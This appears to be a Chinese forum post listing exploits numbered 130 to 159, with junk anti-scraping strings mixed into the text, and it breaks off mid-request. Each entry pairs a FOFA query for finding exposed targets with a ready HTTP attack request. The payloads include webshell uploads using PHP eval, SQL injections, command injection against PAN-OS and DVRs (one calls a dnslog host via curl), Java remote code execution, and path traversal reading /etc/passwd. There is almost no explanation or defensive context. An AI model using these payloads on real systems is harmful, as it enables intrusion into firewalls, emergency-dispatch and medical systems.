+ z3 Y: R; l7 \. h/ h! {& [

& p# u) t& p; J/ ~4 d8 y- V7 |  @* p1 a130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
9 [( B4 N" {. pPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
) o& P' j) |: B0 \5 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
5 [  i9 R! }. E# g2 a# o; j- RAccept-Encoding: gzip, deflate
9 q  G' V, D8 M8 A0 oAccept-Language: zh-CN,zh;q=0.9
, P8 \5 T. u0 r( ~, P: ZCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
$ Q: L5 O2 b5 H* w+ B6 rContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
3 @1 q3 F4 [6 R( I1 A% K

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
  r# d& q6 N8 T1 f7 ]% U# zhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

( m- [" l' X' Q: }132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
- N: Z) [' l' Y; [: T! A! qPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
* f) t  M/ I$ ?: j! S/ \. P- cHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: O4 |$ B) G+ [* c2 u- FAccept: */*
7 A+ T. \+ F* V0 g# H1 f0 P7 ^& IContent-Type: application/json
* v! S7 G% G% m* r4 P7 W& EAccept-Encoding: gzip, deflate
8 S. M9 U* @6 x- x
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
. _- y; Y3 j& Y9 o

2 M, t; E5 f- K& BCVE-2024-27199
) |  M: r. x6 w7 W/res/../admin/diagnostic.jsp
0 X' L& X, Q  a  r. V5 a1 Z- Y/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
. |1 `6 l" A; I# K5 a2 B( c

CVE-2024-27198-RCE.py

2 x# E9 a4 y# _9 _133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
, K  E+ @1 ?6 |( e% T8 I0 n/ XPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
- m1 Y7 _3 Y$ MHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
4 ]/ R  r. d; k
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
5 \& |1 ]4 m# t1 \& P" y8 MContent-Disposition: form-data; name="file"; filename="rce.php"
4 v# b3 h: x( s/ WContent-Type: application/octet-stream

, c6 c1 @" w9 M1 A. L<?php system("cat /etc/passwd");unlink(__FILE__);?>
# e3 n) q! e+ C2 c------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
2 }1 U4 @0 d  H! t) B7 W6 Q4 R6 b


134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
9 Y4 ?, Q$ D! X* ?8 R( gNetentsec NS-ASG Application Security Gateway 6.3版本
; C, U# F: R; c  uFOFA：app="网康科技-NS-ASG安全网关"
6 R9 d0 \9 X' Y5 sPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
& |# \1 h, _8 MCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
  F1 W) q9 f! I3 _) D% _# QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 L7 Z; e$ x, E6 r, x0 s8 x, b4 \Accept: */*
5 R, c- R6 u2 U' Z- ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
; X$ T. E0 G* _% h- J: dSec-Fetch-Mode: cors
7 U& J( }( W: |# ^* ySec-Fetch-Site: same-origin
Te: trailers
" u9 Z# G* E5 z2 Y, \# I* YConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
$ a! I( x5 o, X  `7 Y

; J9 J4 G8 _( W+ o& N8 _135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
* Q; C; N, L% o6 j1 w" d$ @CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
9 d% t6 q  g0 kFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 v0 W. B0 T( E) Z& \& WAccept-Encoding: gzip, deflate
% ]7 P$ R+ v0 K( P& tAccept-Language: zh-CN,zh;q=0.9
( O) h8 n" d7 n+ |Connection: close


2 e" X% M/ B% a0 \3 s136. NextChat cors SSRF
CVE-2023-49785
2 G# c" A, e" {+ R; O0 uFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
/ Z8 f& w( j% N9 `& d* Y3 c) q$ VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 V! A, I; G  ?" h! f3 i( r3 z" L3 AConnection: close
' l4 H4 p; U# S4 w( v8 QAccept: */*
Accept-Language: en
Accept-Encoding: gzip
, {; K% V5 U; Q

137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
7 I4 j3 M9 z3 y! x$ P( T1 C6 b/ f$ f9 ZGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
- K* }' h" ]: }2 j" OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" l% {; j0 Q& \! C% B$ NAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
2 M$ u2 e7 P' P. _Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
5 W! Y  M  U( c2 S2 m9 QFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
9 i9 o+ J- w6 ?+ U0 q. l( q# JGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 i6 M0 I+ R, X5 I; kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
4 Z) k8 S0 e2 kUpgrade-Insecure-Requests: 1
8 }2 |  X) V% ^/ s! U: Y

1 l( P( |# l; D7 r4 E- r1 J139. 福建科立讯通信指挥调度平台editemedia.php sql注入
9 I! b- @  G8 A2 V$ L  g. }CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- p, J0 s8 [" {4 \& l. [GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' S6 [& I- X0 X( s: t. TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 Y& N1 S/ l7 Y6 q9 _Accept-Encoding: gzip, deflate, br
% k7 h4 t, T9 d$ c! H  w. [2 lConnection: close
' `  s! k' T& D& KCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
3 v( v. p# z9 D' xUpgrade-Insecure-Requests: 1

6 c" S6 F+ T6 g4 r! a
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' z- n, P# L( x" [CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
& h# L% d: s3 d0 dGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 c- v! o4 p6 H1 D8 aAccept-Encoding: gzip, deflate, br
Connection: close
- [4 E, S. G) N% O0 I0 g) oCookie: authcode=h8g9
: g* X% w+ _: ?; O8 xUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
, _3 ], t  N) e2 G5 k% P+ GFOFA：body="指挥调度管理平台"
4 _  l% X; {6 r% }) z8 R7 CPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
8 @0 @/ k# C6 ?! v' w4 j; QContent-Type: application/x-www-form-urlencoded
5 x4 n3 \+ T2 T5 P9 X0 f; K% V" `

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
5 c. _' Q- N! h6 E. c" p

4 c4 i) X) c! {) w142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
# |5 N: }" s' bFOFA：body="/808gps/"
' G% M$ N% `5 jadmin/admin
: \( h) F$ W8 [5 r; I1 m' N+ V143. Netis WF2780 v2.1.40144 远程命令执行
$ [( }. u7 p$ E& f+ G0 ?) a$ l  C8 `CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
' O, C/ X, c7 v/ Esystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
3 G* t1 X7 J( S) u; z2 DUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
0 `# A% r+ E" VConnection: close
Accept: */*
Accept-Language: en
% E% m; w# v5 b2 z0 N1 AAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
9 u/ g! R8 L! U# p6 X: K8 J$ |CVE-2024-3400
; `  A9 f; T; l1 Z: TFOFA：icon_hash="-631559155"
* R$ i* U  S0 q- uGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
, ^& P% @/ S' T% l7 N5 |& ^Accept-Encoding: gzip


2 ^) p" \. @9 ~8 |; m1 L* M) w146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
* j$ Q$ ?" K0 ?5 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
% B$ |/ W; ]5 ]( B* z- G; |' ]5 b$ QAccept-Charset: utf-8
. `/ o- |. v. c: S* i3 H% O' D( {, PAccept-Encoding: gzip, deflate
Connection: close
; Y  b6 [0 e- o7 ~+ s+ D% X7 A0 A

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
4 }; `9 A. N% o+ j$ Y" L! k# eFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
' ?/ j' R9 _9 N! m* S8 OCache-Control: max-age=0
Connection: close
* B; O8 |+ P5 ]5 \# v

148. CrushFTP 认证绕过模板注入
! F, G! g3 f; UCVE-2024-4040
( ^% H  _5 D3 w$ o1 t* }% O2 RFOFA：body="CrushFTP"
+ p: U# I8 V( v% k$ e, bPAYLOAD
# @9 d: n, V" B- F
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
8 {0 p6 ]1 |- f* r2 T+ E
" @! U0 p' d0 uPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
3 b7 o8 |' d% g) A4 e& [1 M7 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 t3 `3 X1 \# l6 Y5 V4 f9 ^4 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
" o0 K0 ?8 M& F& `! L$ g/ r% PContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
9 D& A( L9 z! @( k( |' fFOFA：title="AJ-Report"
) C: Z+ R% o' d! h# j1 ]! ^POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
. i9 a% R/ q) h- ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ F: b# i4 Z$ ?# S2 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) j" k% B: b: s% {5 `: _9 `Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 F& P4 o3 p+ L2 z, jContent-Type: application/json;charset=UTF-8
Connection: close
- q: V8 t) R/ a4 o- ?- N, `0 u- lContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
/ b6 K( z4 V$ p7 Q3 x, n/ E5 V
- d, T0 B! Z  A" T: S6 V4 p
151. AJ-Report 1.4.1 pageList sql注入
: T* f8 l( w2 D" sFOFA：title="AJ-Report"
* t. d" s9 U1 U  H+ aGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
* S) A. h6 j. G6 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 C: q* t8 u4 f. t+ V0 c0 C. iConnection: close
Accept-Encoding: gzip


- d& s/ {' Y. p152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
8 w# q: M. R7 ]' L1 ~+ n  o' aLoadMaster<=7.2.54.8 (LTSF)
6 l# p8 d' [' ]* B" a' ILoadMaster <= 7.2.48.10 (LTS)
: V1 ?5 }. }8 qFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
9 K6 y" W* K. P9 d1 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
% B+ }4 F& K$ yAccept-Encoding: gzip
1 x6 n/ o0 w% N- H6 M4 e" x6 n: T

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
: b% o' V7 O! a$ dhttp://x.x.x.x/config


/ G# [9 d5 m3 x" Z" D: |第二步，将/etc/passwd的内容写入到一个临时文件
) I# G& t# d- i( T/ M1 `3 i, bPOST /component_server HTTP/1.1
7 |1 G$ g/ G' x2 ^; ]9 \9 W1 iHost: x.x.x.x
2 Z5 i1 Y6 `0 z6 B- fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
7 K' l; M* e/ {1 _+ `Content-Length: 115
Content-Type: application/json
/ L$ l' l8 s6 C2 i6 Y$ v% jAccept-Encoding: gzip
0 M5 j( s$ _% ]4 v& W: n' D
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

' M, Y. G8 e% f
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
+ I' K& B8 w8 ]+ K: C9 O, @* `
$ [1 f* J- q4 `1 {% U
154. 天维尔消防救援作战调度平台 SQL注入
) c' I& R7 Q/ G. ]6 X9 R& I( KCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
2 j8 l/ o0 `# s3 U0 mPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
4 x  h' i+ o! Y- a' u3 z1 p6 jHost: x.x.x.x
' F, A# {; ^: S3 K0 i9 D+ o% BContent-Length: 106
* L- a' a, f& N3 o: N$ g# j, ?Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
- s6 j0 `; t- I' D! g+ K+ aContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 E/ Y3 F: Z) I6 r7 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
+ h. U) P, `) i2 `" z, g
( X! p' [; |: P0 @& C: o$ g" L8 q{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

! s  }4 \5 `1 N* R
$ v: _6 d/ g1 O: H155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
" t2 J2 G( {4 j2 |" {5 ePOST /include/file.php HTTP/1.1
; l- _- j% d" Y; c3 J3 e8 RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
2 ^2 Y3 c- {. k6 rAccept: application/json, text/javascript, */*; q=0.01
, z, E. d, J& |Accept-Encoding: gzip, deflate, br
4 M3 {* N. P0 G, U+ a% P& |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
/ V9 j8 u2 g  {$ L3 hContent-Type: image/png
: |0 }; ]; @5 h) j
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
& Y, D0 q5 p2 |- i

6 D3 k* g6 k2 i+ w! k% q; O访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
& T( z4 M: t0 Y) R7 D7 W+ c8 p: ?
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
+ r( {/ ?. S6 S( V' Z' D·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
" s8 q. h, A  M/ A6 x9 y9 M
5 q3 L* \( J9 p/ X+ I7 M* w
5 X  F  ?# E3 x5 t9 pPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
7 R& h4 P6 U8 b- o$ ZUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# B, k# \. a, K/ g  D& c. JConnection: close
Content-Length: 0
3 _8 v3 v7 x7 d9 A, nCookie: uid=1
Accept-Encoding: gzip
) ~8 i5 A6 y: g' S0 s: s( Q
' |$ I* H. d2 C, v' u, u; g
7 x) X/ _5 B- R4 `2 Q2 r! a$ `157. 美特CRM upload.jsp 任意文件上传
6 m# _7 I& F% F& _CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
* R' {2 L. p7 k  w: Y: Z# jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 m' y8 ]5 h1 l: y9 QContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. M6 s% C. Z, u9 F; cAccept-Language: zh-CN,zh;q=0.9
0 ^) m* Z6 H0 ^: Y7 k. F+ kCache-Control: max-age=0
% r* Z5 V* r6 o' f9 `/ T/ UConnection: close
4 \+ q1 r) z: F' E& ~9 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
, E) V7 m' f- q  u( \) ^4 s  Q
------WebKitFormBoundary1imovELzPsfzp5dN
$ e8 s- e' y' E$ AContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
  z/ M4 i& i7 P
5 \8 J: I2 A6 s7 f, m7 a4 w: Rnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
2 a  L0 B7 A+ }5 B------WebKitFormBoundary1imovELzPsfzp5dN
6 z3 P3 w# Q- O6 V4 r) n! x1 JContent-Disposition: form-data; name="form"

8 v) {) H$ {6 qnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
) c9 }* J  j/ Y( v
6 c" A, J8 @$ s8 k. @* |null
! C4 @# z& D' w3 s' W$ s0 g3 n------WebKitFormBoundary1imovELzPsfzp5dN
( f9 W8 d0 q* v  uContent-Disposition: form-data; name="filetitile"
3 s; F) q: j% M  N, u. U6 q
% f0 r; W  D! ^4 Cnull
1 P5 Q0 @- W0 {% ]% \5 u6 i- R------WebKitFormBoundary1imovELzPsfzp5dN
7 Y- z: g7 x& Z9 u8 s. ]" YContent-Disposition: form-data; name="filefolder"
2 o0 V6 h1 W. c8 r# Q$ J
null
------WebKitFormBoundary1imovELzPsfzp5dN--
* X8 G! `. x9 h0 L3 @/ W/ P

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
  n$ f! n: e0 f8 Z' j
0 p) S7 A. Z9 d. Z1 Z" C1 j158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
. X3 ^# D/ ^6 h2 K, p" X. p2 t2 I& FFOFA："Generator: Masa CMS"
* i- C3 R, S. t3 Y  SPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
/ e# ^) E8 e2 k& T. dHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

0 S3 W" L1 \) Xobject=displayregion&contenthistid=x\'&previewid=1


* x8 k1 H: S  }! v: k( e159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
7 f+ ?6 [( G7 L  o1 pPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
2 c+ h3 W, w5 r. p7 hAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
) ?" _3 `) W5 v. T1 _  GSoapaction: "http://rainier/jobUpload"
" W* }3 H2 Q! C8 Y0 c0 S9 k
  ^) L0 o* Q/ a) t8 t4 W* H7 @<?xml version="1.0" encoding="utf-8"?>
$ Q2 L* U  X0 E, T/ e* t2 C<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
# @+ z# f2 f5 @% {<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
